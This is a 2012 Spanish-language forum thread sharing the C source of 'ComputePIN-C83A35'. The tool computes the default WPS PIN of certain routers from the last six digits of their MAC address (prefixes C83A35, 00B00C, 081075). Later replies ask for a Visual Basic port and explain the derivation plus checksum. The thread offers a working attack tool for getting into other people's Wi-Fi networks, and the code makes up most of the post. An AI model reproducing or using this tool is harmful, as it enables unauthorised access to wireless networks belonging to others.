ComputePIN-C83A35 by ZhaoChunsheng (WPS)

Publicado por carrasco30, 29 de Abril de 2012, 04:17:05 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

carrasco30



You are not allowed to view links. Register or Login

ComputePIN-C83A35

Esta aplicación escrita en C (un código muy sencillo) de mr. ZhaoChunsheng ess capaz de recuperar el PIN por de las MAC que comienzan por las cadenas C83A35,  00B00C y 081075  (*) explotando la conocida vulnerabilidad de WPS

If your wireless router MAC address start with "C83A35″ | "00B00C" | "081075″, type the other six digits, you might be able to get the WPS-PIN of this equipment, please have a try, good luck!

(*) nota

Veo que el autor en su blog habla de nuevos updates:


22:06 2012/04/08 Add "081075″
23:13 2012/04/07 Add "00B00C"
14:18 2012/04/07


Dado que en Windows aún no existe nada la compilé para el foro así podéis probarla y mas adelante si vemos que se añaden mas MAC o nos interesa igual hacemos una GUI. El uso es muy sencillo, abrimos una cónsola CMD y escribimos en ella ComputePIN-C83A35 y después enter.. nos mostrará por defecto el comienzo de la MAC: c38a35 a la cual tenemos que añadirle los séis últimos dígitos y pulsar ENTER

Después de esto nos devolverá el PIN por defecto para esa MAC

//ComputePIN-C83A35

#include <stdio.h>
#include <stdlib.h>

int main()
{

    unsigned int wps_pin_checksum(unsigned int pin);
    int PIN = 0;

    printf("ComputePIN-C83A35\n");
    printf("Description:\n");
    printf("If your wireless router MAC address start with \"C83A35\",\n");
    printf("type the other six digits, you might be able to get the \n");
    printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
    printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
    printf("Compilado para http://***index.php by maripuri \n\n");
    printf("Input MAC Address(HEX):c83a35");
    scanf("%x",&PIN);
    printf("MAC Address(HEX) is: C83A35%X\n",PIN);
    printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));

    return 0;
}


unsigned int wps_pin_checksum(unsigned int pin)
{
    unsigned int accum = 0;
    while (pin)
    {
        accum += 3 * (pin % 10);
        pin /= 10;
        accum += pin % 10;
        pin /= 10;
    }

    return (10 - accum % 10) % 10;
}


Znook3r

ComputePIN-C83A35 by ZhaoChunsheng (WPS)You are not allowed to view links. Register or Login

Paula

Hola.

¿Se podria hacer el mismo codigo para You are not allowed to view links. Register or Login?

Ya probe con un conversor automatico pero me da algunos errores:

Private Function _tmain(ByVal argc As Integer, ByVal argv() As Char) As Integer
   Dim wps_pin_checksum As UInteger = UInteger pin <<<------ (esta linea da error)
        Dim PIN As Integer = 0

        scanf("%x", PIN) <<<------ (esta linea da error)
        Console.Write(vbLf & "WPS PIN: {0:D7}{1:D}" & vbLf & vbLf, PIN Mod 10000000, wps_pin_checksum(PIN Mod 10000000))

        Return 0

    End Function

    Private Function wps_pin_checksum(ByVal pin As UInteger) As UInteger

        Dim accum As UInteger = 0
        Do While pin <> 0

            accum += 3 * (pin Mod 10)
            pin \= 10
            accum += pin Mod 10
            pin \= 10

        Loop
        Return (10 - accum Mod 10) Mod 10
    End Function

Espero puedan ayudarme.

D3M0N

Fácil, convertí de hex a dec los últimos 6 caracteres de la mac y sabes los primeros 7 dígitos.  Luego el último es por el chec .

Paula


D3M0N

con el checksum, igual sacas casi todos, tardarías 1 segundo en determinal el ultimo numero.

Paula